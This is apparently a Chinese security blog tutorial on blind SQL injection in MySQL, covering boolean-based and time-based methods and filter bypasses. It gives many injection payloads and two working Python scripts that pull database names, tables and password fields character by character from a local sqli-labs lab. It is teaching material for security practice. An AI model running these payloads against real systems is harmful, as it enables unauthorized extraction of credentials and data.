盲注


布尔盲注

1.布尔盲注的判断

布尔状态例如:
1.回显不同(内容、长度)
2.HTTP响应状态码不同(200、500)
3.HTTP响应头变化(无条件重定向、设置cookie)
4.基于错误的布尔注入(MySQL是否报错)

有些时候很多东西都被过滤了,如果一个一个的尝试的话会非常麻烦并且费时费力,可以尝试FUZZ黑名单过滤,利用burpsuite intruder模块

先传入一个参数然后抓包,加一个变量利用intruder模块爆破sql语句关键字就可以了

2.布尔盲注攻击流程

1.判断是否存在注入
第一步:正常查询,返回True(语句执行成功)或者返回False(语句执行成功没有查询到内容)。
第二步:输入引号进行看页面变化,页面返回False,可能存在漏洞,也可能没有查询到内容。
第三步:利用and进行判断,比如:1 and 1=1和1 and 1=2,1’ and 1=1#和1’ and 1=2#,如果前者执
行的结果不一样,说明是数字型的布尔盲注;如果后者执行的结果不一样,说明是字符型的布尔盲注。
2.获取数据库长度
因为无法通过页面数据回显获取数据,所以只能靠判断对错的方式来获取数据,可以使用MySQL中的内
置函数获取字符串长度:
length() :单位是字节,utf8编码下,一个汉字三个字节,一个数字或字母一个字节。gbk编码下,一
个汉字两个字节,一个数字或字母一个字节。
char_length():单位为字符,不管汉字还是数字或者是字母都算是一个字符。
比如:
select length(database()); 
select length(database())=8;   #利用这种方式赋值  当赋值正确时会返回正确也可以通过脚本来爆破
3.逐字猜解数据库名
在获取数据库名的时候注意数据库的命名规则,他是采用26个英文字母(区分大小写)和0-9的自然数(经常
不需要)加上下划线'_'组成,命名简洁明确,多个单词用下划线'_'分隔。
利用substr字符串截取函数来逐个判断
substr(database(),1,1)='s'
如果substr函数被过滤可以使用  mid()函数来替代
也可以把截取的东西转化为ASCII值来判断
ascii(substr(database(),1,1))=115
爆破过程可以利用burpsuite   intruder  模块进行爆破
过滤了逗号怎么办?就不能多个参数了吗?利用   fromfor  代替
SELECT SUBSTR('2018-08-17',6,5);SELECT SUBSTR('2018-08-17' FROM 6 FOR 5)
4.逐字猜解数据库的表名
ascii(substr(select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=1
5.逐字猜解字段名
ascii(substr(select group_concat(column_name) from information_schema.columns where table_name='',1,1))=1
6.逐字猜解记录数据
ascii(substr(select group_concat(字段名) from 表名))

脚本

#还可以采用python脚本的形式来进行爆破
import requests

url = 'http://127.0.0.1/sqli/Less-5/'
# select = 'select database()'     #数据库  security
# select = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'    #表名  emails,referers,uagents,users
# select  = "select group_concat(column_name) from information_schema.columns where table_name='users'"   #字段名  user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
select = "select group_concat(password) from users"     #字段内容
result=''
for i in range(1,100):
    for j in range(1,126):
        payload = f"-1' or ord(substr(({select}),{i},1))={j}--+"
        r = requests.get(url=url+'?id='+payload)
        if 'You are' in r.text:
            result+=chr(j)
            print(result)
            break
        if j==125:
            exit(0)

3.布尔盲注的一些函数

1.substr()函数

substr(str,pos,len) 表示截取字符串str 从pos这位置截取len个字符

如果过滤了逗号

SELECT SUBSTR(‘2018-08-17’ FROM 6 FOR 5);

2.mid()

mid(str,pos,len) 表示截取字符串str 从pos这位置截取len个字符 用法与substr类似

3.right()函数

right(str,len) 表示从字符串的最右面截取len个字符

技巧是结合ascii()
ascii(‘str’) 返回字符串的第一个字符的ascii码 能用ascii时尽量用ascii! 因为字符的比较可能因为字符比较特殊(比如是单引号)而出现很多问题,但是ascii
直接转成数字,就解决了这个问题!
ascii的同名函数是ord 用于过滤ascii的过滤
4.trim()函数
SQL trim() 函数 过滤指定的字符串,最常见的用途是移除字首或字尾的空白。
MySQL: TRIM( ), RTRIM( ), LTRIM( )
TRIM() #删除前后空格
RTRIM() #删除字符串结尾空格
LTRIM() #删除字符串起始空格
TRIM([BOTH/LEADING/TRAILING] 目标字符串 FROM 源字符串)
如果=用regexp替代 那么正确的字符一定在regexp前面 以这个abcd为例
Trim(leading ‘a’ from ‘abcd’) regexp trim(LEADING ‘x’ from ‘abcd’)
就是bcd regexp abcd返回0, 如果反过来就是abcd regexp bcd 返回1
5.insert()
Insert(字符串,起始位置,长度,替换为什么)
abc从第一位也就是a开始后的两位(ab)替换为xx

1662302958057

select insert((insert('abcdef',1,0,'')),2,99999,'');

1662303054792

6.比较字符串

当字符串比较时是按位比较的

1662303178229

7.like
我们知道在 MySQL 中使用 SQL SELECT 命令来读取数据, 同时我 们可以在 SELECT 语句中使用 WHERE 子句来获取指定的记录。
WHERE 子句中可以使用等号 = 来设定获取数据的条件,如 "runoob_
author = 'RUNOOB.COM'"。 但是有时候我们需要获取 runoob_author 字段含有 "COM" 字符的所 有记录,这时我们就需要在 WHERE 子句中使用 SQL LIKE 子句。
SQL LIKE 子句中使用百分号 %字符来表示任意字符,类似于UNIX或 正则表达式中的星号 *。 如果没有使用百分号 %, LIKE 子句与等号 = 的效果是一样的。

1662303301148

8.正则表达式 regexp rlike

1662303405311

regexp是不区分大小写的,需要大小写敏感 需要加上binary关键字

1662303431365

9.between
expr [NOT] BETWEEN begin_expr AND end_expr;
between筛选的是 expr >= begin_expr并且 expr <= end_expr 的数据,如果不存 在则返回的是0;
not between筛选的是 expr < begin_expr或者 expr > end_expr 的数据,如果不 存在则返回的是0; 如果 expr 返回的是 NULL,则between 也返回的是null

1662303596097

10.in
依然是大小写不敏感的 字符数字都可用 也有not in

1662303642507

延时盲注

1.延时盲注的介绍

在页面中,不管用户输入什么,数据交互完成以后目标网站没有错误和正确的页面回显,这 种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行。既无论用户输入什么页面都是下面这种

image-20221210230641480

image-20221210230656871

2.延时盲注的攻击流程

1.延时盲注的判断

由于没有任何的回显内容,所以无法通过查看回显的方法判断是否存在注入,可以使用1 and sleep(5)或 者1’ and sleep(5)#进行测试,如果页面执行有延迟,说明存在漏洞,

select * from users where id=1 and sleep(5); #数字型
select * from users where id='1' and sleep(5)#';#字符型
2.获取数据库长度

可以使用if语句进行判断,语法格式:if(expr1, expr2, expr3):判断语句 如果第一个语句正确就执行第 二个语句,否则执行第三个语句

select * from users where id='1' and if(length(database()=8),sleep(3),1)#'

如果有延时说明数据库长度就是8

3.获取数据库名
id=1' and if(substr(database(),1,1)='s',sleep(5),1)%23

或者利用ascii函数

id=1%27%20and%20if(ascii(substr(database(),1,1))=115,sleep(5),1)%23
4.获取表名

可以先获取表的数量

id=1' and if((select count(table_name) from information_schema.tables where table_schema="security")=4,sleep(5),1)%23

然后获取每个表的长度

id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1)%23

再然后获取表的名称

id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)%23
5.获取字段名
6.获取字段内容

脚本

import  requests
url="http://127.0.0.1/sqli/Less-9/?id=1' and "
# select = 'select database()'   #数据库  security
# select = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'   #表名  emails,referers,uagents,users
# select = "select group_concat(column_name) from information_schema.columns where table_name='emails'"            #字段名
select = "select group_concat(email_id) from emails"   #字段内容
flag = ''
for i in range(1,100):
    for j in range(32,126):
        payload = f"if((ascii(substr(({select}),{i},1))={j}),sleep(3),1)--+"
        try:
            r = requests.get(url+payload,timeout=3)
        except :
            flag += chr(j)
            print(flag)
            break
        if j==125:
            exit(0)

文章作者: f14g
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 f14g !
评论
  目录